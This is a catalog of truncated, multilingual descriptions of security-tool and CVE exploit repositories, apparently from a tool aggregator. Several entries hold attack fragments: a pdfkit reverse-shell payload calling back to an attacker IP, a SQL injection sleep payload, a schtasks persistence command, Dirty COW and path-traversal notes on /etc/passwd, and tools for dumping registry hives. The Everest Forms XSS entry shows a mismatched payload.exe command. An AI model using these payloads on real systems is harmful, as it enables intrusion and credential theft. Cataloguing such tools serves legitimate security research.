ofp_sniffer

OFPSniffer 是一个用于故障排除和学习的 OpenFlow 嗅探器。 当前版本为 1.2，它能解析所有 OpenFlow 1.0 消息，并与 InfluxDB、Grafana 和 Slack 集成。 OpenFlow 1.3 将在 OFPSniffer 版本 1.3 中提供（即将发布）。 它直接在 Linux shell 上工作，并解析线缆上或来自 libpcap 文件的所有 OpenFlow 消息。使用 OFPSniffer，您可以轻松跟踪 OpenFlow 消息及其关联的错误（如果有），而无需打开 X11 或 Wireshark。OFPSniffer 使用 Python 3....

mcp-shark

mcp-shark AIエージェントツール用セキュリティスキャナ — IDEでMCPを扱うセキュリティ/プラットフォームエンジニア向け。 MCP IDE設定 と埋め込みツールメタデータに対してローカル静的scanを実行：41のルール （AAuth可視性 を含む）、トキシックフローヒューリスティクス、SARIF / HTML / JSON レポート。ホスト型の設定スキャンバックエンドはありません。 任意のローカルHTTPプロキシ とブラウザ内ダッシュボード...

ms-photos_NTLM_Leak

Microsoft ms-photos URI NTLM 漏洩 ブラウザからワンクリックでNTLMハッシュを漏洩させる新たな脆弱性 作成者: Ruben Enkaoua 説明 Microsoft ms-photos URIスキームはfileNameをパラメータとして受け取ります。このパラメータにUNCパスを指定すると、開いた際にNTLMv2-SSPハッシュが漏洩します。攻撃者は特別に細工されたリンクを作成することで、被害者をブラウザから直接Microsoft...

CVE-2023-23397

CVE-2023-23397 CVE-2023-23397 修復スクリプト PowerShell PowerShell スクリプトが3つあります。 パッチ管理ソフトウェアが評価 と修復スクリプト を使用する場合は、それぞれのファイル/スクリプトを使用してください。 あるいは、上記を使用せずに更新プログラムを直接配信したい場合は、All In One スクリプト が現在の Microsoft Office のバージョンを評価し、スクリプトに記載されているバージョンのいずれでもない場合に Office の更新を強制します。 All In One...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL経由（太字 の値を変更）: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CVE-2018-8174_EXP

CVE-2018-8174EXP 用法: CVE-2018-8174.py -h -u URL -o OUTPUT -i IP -p PORT Exploit for CVE-2018-8174 （CVE-2018-8174 漏洞利用工具） 可选参数: -h, --help 显示此帮助信息并退出 -u URL, --url URL 漏洞利用页面 URL -o OUTPUT, --output OUTPUT 输出的漏洞利用 rtf 文件 -i IP, --ip IP netcat 监听的 IP -p PORT, --port PORT netcat 监听的端口 示例: 1. python...

CVE-2016-5195

描述： dcow 是漏洞 CVE-2016-5195 的一个可能利用程序。 在受影响系统上以非特权用户身份运行该程序，它将修改 /etc/passwd 文件，强制设置密码 "dirtyCowFun"（使用 SHA-512，但可为旧标准修改）。 如果执行成功，使用该密码执行 su 即可获得 root shell。 使用 -s 选项（推荐）将自动打开一个 root shell。 如果 dcow 在不带选项或使用 -n 选项（见下方示例）运行时，会在当前执行目录中创建原始 /etc/passwd 的备份文件 .sshbak。 免责声明：...

mitmproxy_rs

mitmproxyrs !autofix.ci:...

linkedin2username

linkedin2username OSINT ツール: LinkedIn 上の企業からユーザー名リストを生成します。 これは純粋な Web スクレイパーであり、API キーは必要ありません。有効な LinkedIn のユーザー名とパスワードを使用してログインし、指定した企業の全従業員に対して考えられるユーザー名形式のリストを複数作成します。 作成されるものは以下の通りです: first.last.txt: Joe.Schmoe のようなユーザー名 f.last.txt: J.Schmoe のようなユーザー名 flast.txt: JSchmoe のようなユーザー名 firstl.txt...

linkedin2username

linkedin2username OSINT Tool: Generate username lists from companies on LinkedIn. This is a pure web-scraper, no API key required. You use your valid LinkedIn username and password to login, it will create several lists of possible username formats for all employees of a company you point it at...

Linux_Exploit_Suggester

LinuxExploitSuggester Linux Exploit Suggester（OSのリリース番号に基づくエクスプロイト提案ツール）。 このプログラムは引数なしで実行すると、'uname -r' を実行してLinux OSのリリースバージョンを取得し、可能性のあるエクスプロイトの提案リストを返します。凝った処理は行わないため、パッチ適用済み/バックポートされたパッチがこのスクリプトを騙す可能性があります。 さらに、'-k' フラグを指定すると、カーネルバージョン/OSのリリースバージョンを手動で入力することもできます。...

jaeles

!IMPORTANT This repository has been archived and is no longer maintained. Check out github.com/vigolium/vigolium — a brand new scanner that I made that's better in every way. Jaeles is a powerful, flexible and easily extensible framework written in Go for building your own Web Application Scanner...

jaeles

!IMPORTANT 이 저장소는 보관 처리되었으며 더 이상 유지 관리되지 않습니다. github.com/vigolium/vigolium 을 확인해 보세요. 제가 만든 완전히 새롭고 모든 면에서 더 나은 스캐너입니다. Jaeles 는 Go로 작성된 강력하고 유연하며 쉽게 확장 가능한 프레임워크로, 자신만의 웹 애플리케이션 스캐너를 구축할 수 있도록 설계되었습니다. 설치 여기에서 사전 컴파일된 버전을 다운로드하세요. Go 환경이 있고 Go = 1.17 이상이며 Go Modules가 활성화되어 있다면 다음 명령을 실행하세요...

Pulse

Pulse 是一个强大的 Apple 平台日志记录系统。原生支持。基于 SwiftUI 构建。 直接从你的 iOS 应用中记录和查看日志以及 URLSession 网络请求。共享日志并在 Pulse Pro 中查看，或使用远程日志记录实时查看。日志存储在本地，永远不会离开你的设备。 关于 Pulse 不仅仅是一个工具，更是一个框架。它记录来自 URLSession 或使用它的框架（如 Alamofire 或 Get）的事件，并通过直接集成到你应用中的 PulseUI 视图进行展示。这样，任何拥有你测试构建的人都可以使用 Pulse 控制台。你或你的 QA...

packages_apps_Settings_AOSP10_r33_CVE-2023-20955

このリポジトリには README がありません。...

CVE-2024-9014

CVE-2024-9014 - pgAdmin 4 OAuth2 認証バイパス エクスプロイトツール このリポジトリには、pgAdmin 4 の CVE-2024-9014 脆弱性を検出および悪用するためのツールが含まれています。この脆弱性により、攻撃者は OAuth2 認証をバイパスして機密リソースにアクセスできる可能性があります。 ツール 1. cve20249014check.py このスクリプトは、pgAdmin 4 のインストールを調査し、公開された OAuth2 設定を探すことで、対象システムが CVE-2024-9014 に対して脆弱かどうかをチェックします。 使用方法...

p4wned

P4WNED（CVE-2026-6043） Perforce（Helix Core）のセキュリティ研究ツールとnucleiテンプレート。 研究記事: https://morganrobertson.net/p4wned/ 詳細は上記をご覧ください。 許可されたターゲットのみ。自分のサーバー、または明示的な書面による許可を得て使用してください。 対象読者: Perforceサーバー管理者、ペネトレーションテスター、セキュリティエンジニア 2026年5月更新: Perforce...

CVE-2025-4334

🔓 Simple User Registration = 6.3 - 認証されていない権限昇格 📄 説明 WordPress用プラグイン Simple User Registration は、6.3 までの全バージョンにおいて 権限昇格 の脆弱性があります。 これは、登録時に提供できるユーザーメタ値に対する制限が不十分なためです。 これにより、認証されていない攻撃者 が 管理者 として登録することが可能になります。 🛡️ 脆弱性の詳細 タイプ : 不適切な権限管理 CVE : CVE-2025-4334 CVSSスコア : 9.8 緊急 CVSSベクター :...

ghidra2frida

ghidra2frida ghidra2frida は Ghidra 拡張機能であり、Ghidra と Frida の間の橋渡しとして機能します。これにより、Frida の動的解析エンジンを活用して Ghidra の静的解析機能を強化する、強力な Ghidra スクリプトを作成できます。Frida がサポートするすべてのプラットフォーム（Windows、macOS、Linux、iOS、Android、QNX）をサポートしています。 このプラグインは、Brida のアイデア（およびコード）に基づいています。ghidra2frida 自体は、Ghidra と Frida...

nemesis

N E M E S I S - 构建与注入 Nemesis 项目旨在为类 UNIX 和 Windows 系统提供一个基于命令行的、可移植的人类 IP 栈。该套件按协议分类，允许通过简单的 shell 脚本对注入的数据包进行有用的脚本化处理。 最新版本始终可在 GitHub 上获取： https://github.com/libnet/nemesis/releases 主要特点 支持 ARP/RARP、DNS、ETHERNET、ICMP、IGMP、IP、OSPF、RIP、TCP 和 UDP 协议 在类 UNIX 系统上进行第 2 层或第 3 层注入 在 Windows 系统上仅支持第 2...

harbian-audit

harbian-audit Hardening Introduction Hardened Debian GNU/Linux and CentOS 8 distro auditing. The main test environment is in debian GNU/Linux 9/10/11/12/13 and CentOS 8 and ubuntu 22, and other versions are not fully tested. There are no implementations of desktop related items in this release. T...

harbian-audit

harbian-audit ハードニング はじめに ハードニングされたDebian GNU/LinuxおよびCentOS 8ディストリビューションの監査。 主なテスト環境はDebian GNU/Linux 9/10/11/12/13、CentOS 8、Ubuntu 22であり、その他のバージョンは完全にはテストされていません。このリリースではデスクトップ関連の項目は実装されていません。 コードフレームワークはOVH-debian-cisプロジェクトに基づいており、Debian 9/10/11/12/13およびCentOS 8の機能に応じて元の実装の一部を修正し、STIG...

kalimux

...

Ransomware-Tool-Matrix

ランサムウェアツールマトリクス このリポジトリには、各ランサムウェアギャングまたは恐喝ギャングが使用するツールの一覧が含まれています 防御側として、これらのサイバー犯罪者によって使用されるツールの多くが頻繁に再利用されるという事実を活用すべきです 脅威ハンティングを実施し、検知を展開し、これらのツールをブロックすることで、敵対者が侵入を開始する能力を排除できます このプロジェクトは、ランサムウェアギャングのTTPに関する追加インテルが利用可能になり次第、更新されます 2024年12月のBSides Londonでのこのプロジェクトに関する私のプレゼンテーションをぜひご覧ください。 !TI...

CVE-2025-22652

CVE-2025-22652 1️⃣ コンポーネントタイプ WordPress プラグイン 2️⃣ コンポーネント詳細 コンポーネント名 Payment Forms for Paystack 脆弱性のあるバージョン &orderby=&order=,+select+sleep5+from+dual+where+1=1 例えば、pff-paystack id="13"...

commons-text-goat

Commons-Text Goat これは、意図的に CVE-2022-42889 に対して脆弱な Web アプリケーションです。 組み込みの Jetty サーバと Maven を使用して、ポート 8080 の URL \api でリッスンするサーブレットを起動します。このエンドポイントは URL パラメータ cmd を受け取ります。このパラメータは $ と の間に埋め込まれ、StringSubstitutor 関数に渡されます。この関数は StringLookupFactory を実装しています。 脆弱性は、StringLookupFactory...

CVE-2024-29824

我已对 horizon3ai 中的脚本进行了一些优化（实际上只是添加了一个验证机制以确保准确性） 原始项目地址：https://github.com/horizon3ai/CVE-2024-29824 添加了 "-f / --file" 和 ThreadPool...

bx2-writeups

Writeups de Seguridad Una colección de mis writeups de ciberseguridad que cubren: TryHackMe Hack The Box Escalada de Privilegios en Linux Seguridad de IA e Infraestructura CTFs Retos de Seguridad Autor: Nanashi Bx2...

CVE-2026-3300

CVE-2026-3300 - Everest Forms Pro 未認証保存型クロスサイトスクリプティング クイック使用方法 root@kitploit: python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe 悪用に関するメモ 重要度: 重大 CVSS: 9.8 影響: 機密性、完全性、可用性 公開日: 2026-03-31 技術概要 WordPress用プラグインEverest Forms...

CVE-2020-24186-exploit

CVE-2020-24186-exploit CVE-2020-24186 の攻撃スクリプト Exp の使用方法： Commands: Windows/Linux: python3 CVE-2020-24186.py -u -p 例： python3 CVE-2020-24186.py -u http://127.0.0.1 -p /wordpress/2022/04/04/hello-world...

kcatcher

捕捉潜藏在你的 Kafka 集群中的一切。 简介 Kcatcher 是一款用于枚举和评估 Kafka 集群配置的命令行工具。它可以连接 Apache Kafka 集群，检索有关 broker、主题、ACL 甚至消息样本的详细信息。非常适合安全审计、基础设施评估，或只是想了解 Kafka 环境中运行了什么。 演示 安装 Go 如果你有一个可用的 Go 环境，可以通过以下命令安装： root@kitploit: go install github.com/RoseSecurity/kcatcher@latest Apt 要安装软件包，你可以自动快速设置仓库： root@kitploit:...

RawHive

RawHive RawHive は、生の NTFS ボリュームから選択した Windows レジストリ ハイブを直接取得するための Cobalt Strike BOF です。通常のファイル API をスキップし、NTFS メタデータを走査して対象のファイル レコードを見つけ、ディスクから直接バイトをコピーします。 現在、以下を対象としています: C:\Windows\System32\config\SAM C:\Windows\System32\config\SYSTEM C:\Windows\System32\config\SECURITY...

SSMA

SSMA SSMA は Python 3 で書かれたシンプルなマルウェア解析ツールです。 機能: PE ファイルのヘッダとセクションの解析（セクション数、セクション/PE ファイルのエントロピー、疑わしいセクション名、PE ファイル特性における疑わしいフラグなど） Linux マルウェア解析のための ELF ファイルの解析。各種オープンソースツール（ldd, readelf, strings）を使用して、ELF ヘッダ構造、ASCII/UNICODE 文字列、共有オブジェクト、セクションヘッダ、シンボルテーブルなどを表示します。...

CVE-2025-29927

CVE-2025-29927 - Next.js Middleware 認証バイパス（高度なバイパス） 🔥 概要 Next.js Middleware における認証バイパス を、特定のヘッダーを操作することで可能にする高度なPoC です。 このテンプレートは、WAF回避 およびセキュリティバイパス の手法を強化します。 🚀 特徴 ✅ マルチリクエスト＆HTTPメソッドのバリエーション → GET、POST を使用して検出率を最大化。 ✅ WAF回避 → X-Forwarded-For、X-Original-URL、X-Rewrite-URL などを含む。 ✅ ランダム化されたクエリパラメ...

printix-CVE-2022-29551

CVE-2022-29551 簡易版 | 印刷用 PrintixService.exe における「危険なメソッドまたは関数の公開」脆弱性（Kofax Printix の「Printix Secure Cloud Print Management」バージョン 1.3.1156.0 以下）により、ローカルまたはリモートの攻撃者が悪意のあるプリンタードライバーをインストールし、Printix サービスを通じて実行できるようになります。攻撃者はこれを利用して、悪意のあるドライバーコードをリモートで実行し、権限をシステムにまで昇格させることができます。...

grafanaExp

grafanaExp Grafana CVE-2021-43798 任意ファイル読み取り脆弱性を利用し、脆弱性の有無、存在するプラグイン、キーの抽出、サーバー側のDBファイルの復号化を自動的に行い、datasourrce情報を出力します。 使用方法 exp と decode 機能を提供します。 root@kitploit: ➜ ./grafanaExp -h NAME: grafanaExp - Exploit Grafana with CVE-2021-43798 Arbitrary File Read. USAGE: grafanaExp global options command...

CVE-2026-64600

CVE-2026-64600 捐赠 通过 PayPal 或扫描下方二维码来支持本项目的维护。 ⚡ 简单用法 请仅在安全且已获授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 已获授权的渗透测试环境 示例配置： root@kitploit: git clone cd 项目使用 python，请遵循以下步骤 创建虚拟环境 python -m venv venv 激活虚拟环境 macOS / Linux source venv/bin/activate Windows Git Bash / WSL source venv/Scripts/activate 安装依...

CVE-2023-36003

CVE-2023-36003: Windows Defender Exploit Protection バイパス PoC このリポジトリには、CVE-2023-36003 の Proof of Concept（PoC）が含まれています。これは、Windows Defender Exploit Protection に影響を与える、重要なセキュリティ機能バイパス脆弱性です。 概要 CVE-2023-36003 は Windows Defender...

CVE-2023-23192

CVE-2023-23192 CVE-2023-23192- Userlock - 多要素認証（MFA）バイパス エクスプロイトタイトル: Userlock - 多要素認証（MFA）バイパス 日付: 01/11/2023 エクスプロイト作者: Pinar Sadioglu ベンダーホームページ: https://www.isdecisions.com/products/userlock/help/ バージョン: schtasks /create /tn "MFABypassOnLogon" /sc onlogon /tr "cmd.exe /c powershell.exe"...

SpotifyC2

SpotifyC2 — クラウドベースのコマンドチャネル研究 Spotifyプレイリストを通じてコマンドを実行し、Telegram経由でコマンド出力を受信します。 SpotifyC2とは？ SpotifyC2 は、Windowsベースのサイバーセキュリティ研究プロジェクトであり、一般にアクセス可能なクラウドサービスをコントローラーとクライアント間の通信チャネルとしてどのように利用できるかを示しています。 従来のサーバーと通信する代わりに、クライアントは定期的にSpotifyプレイリスト...

web-hacking-playground

Web Hacking Playground 説明 Web Hacking Playgroundは、制御されたWebハッキング環境です。実際のペンテストやBug Bountyプログラムで見つかった脆弱性で構成されています。目的は、ユーザーがそれらを練習し、検出および悪用する方法を学ぶことです。 また、カスタムペイロードを作成してフィルターをバイパスする方法、さまざまな脆弱性を悪用した連鎖攻撃の実行、概念実証スクリプトの開発など、その他の関心事項も扱います。 重要...

web-hacking-playground

Web Hacking Playground Description Web Hacking Playground is a controlled web hacking environment. It consists of vulnerabilities found in real cases, both in pentests and in Bug Bounty programs. The objective is that users can practice with them, and learn to detect and exploit them. Other topic...

quien

quien より優れたwhoisおよびドメインインテリジェンスツールキット。WHOIS、DNS、メール、SSL/TLS、HTTPヘッダー、SEO分析、テクノロジースタック検出のためのタブ付きビューを備えたインタラクティブTUI。 インストールせずに試す: ssh quien.sh インストール Homebrew root@kitploit: brew install quien Ubuntu / Debian root@kitploit: curl -fsSL https://apt.quien.dev/install.sh | sudo sh Arch Linux AUR...

CVE-2025-5880

Whistle 2.9.98 には、/cgi-bin/sessions/get-temp-file エンドポイントが filename パラメータのユーザー入力を適切にサニタイズしないため、未パッチのパストラバーサル脆弱性が存在します。攻撃者は /etc/passwd などの絶対パスやトラバーサルシーケンスを指定することで、ディレクトリ制限を迂回し、基盤となるサーバーから機密性の高いシステムファイルを直接読み取ることができます。 /etc/passwd ファイルを読み取るための POC...

CVE-2021-25646

CVE-2021-25646 Apache Druid リモートコード実行脆弱性 Wkerスクリプト 作成中... ===================================================================================== まず、Wkerさんのリモートでの回答に感謝します。 スクリプトを作成する目的は練習です。 使用方法 スクリプトはDNSLogを使用して判断し、脆弱性が存在する場合、自動的にdnslogのURLを取得してping操作を実行し、その結果を出力します。...

ShadowRay-RCE-PoC-CVE-2023-48022

Rayフレームワークにおけるリモートコマンド実行の脆弱性（CVE-2023-48022）のPoC このエクスプロイトスクリプトとPoCは、vsocietyでの詳細なCVE分析のために記述されています。...

postfetch

postfetch Postfetch （posture fetch）は、Rust で書かれた Linux 向けの fastfetch スタイルの プライバシー＆セキュリティ監査ツール です。 postfetch は、システムの情報を飾るのではなく、システムが プライバシー、セキュリティ、ローカル制御、デジタル主権 をサポートするように設定されているかどうかを表示します。 モジュール Module| Checks ---|--- encryption| LUKS ディスク暗号化、アクティブな dm-crypt デバイス、/etc/crypttab、暗号化されたスワップ、TPM...

MCPDebugger

Fatmike の MCP デバッガサーバー はじめに このプロジェクトは、学習と実験のために自作した軽量な MCP デバッガサーバー です。MCP デバッガサーバー は、デバッガ機能を MCP ツールとして公開し、外部の MCP クライアントがクリーンなインターフェースを通じて実行の制御、メモリの検査、デバッグ対象の解析を行えるようにします。 デバッガは c++ で記述されており、既存のデバッガフレームワークに依存せず、コアとなるデバッグ機能をゼロから実装しています。命令のデコードには Zydis 逆アセンブラが使用されています。デバッガは、公式 MCP C SDK を使用して構築され...

statiStrings

statiStrings root@kitploit: | | | | || | / | / | | \ | | '| | ' \ / / | \ \ || | | || | | || | | | | | | | \ \ |/\,|||/ || ||| ||, |/ |/ YARA Rule Strings Statistics Calculator Shelly Raban Sh3llyR, February 2021, Version 0.1 목차 1. 프로젝트 소개 사용 기술 2. 시작하기 설치 3. 사용법 4. 연락처 5. 감사의 말 프로젝트 소개...

CVE-2022-36804

CVE-2022-36804 Bitbucket RCE 2022 このリポジトリは hgrab-framework の一部です。 dork title: "Public Repositories - Bitbucket" 影響を受ける製品 root@kitploit: - Bitbucket Server and Data Center 7.6（7.6.17 より前） - Bitbucket Server and Data Center 7.17（7.17.10 より前） - Bitbucket Server and Data Center 7.21（7.21.4 より前） -...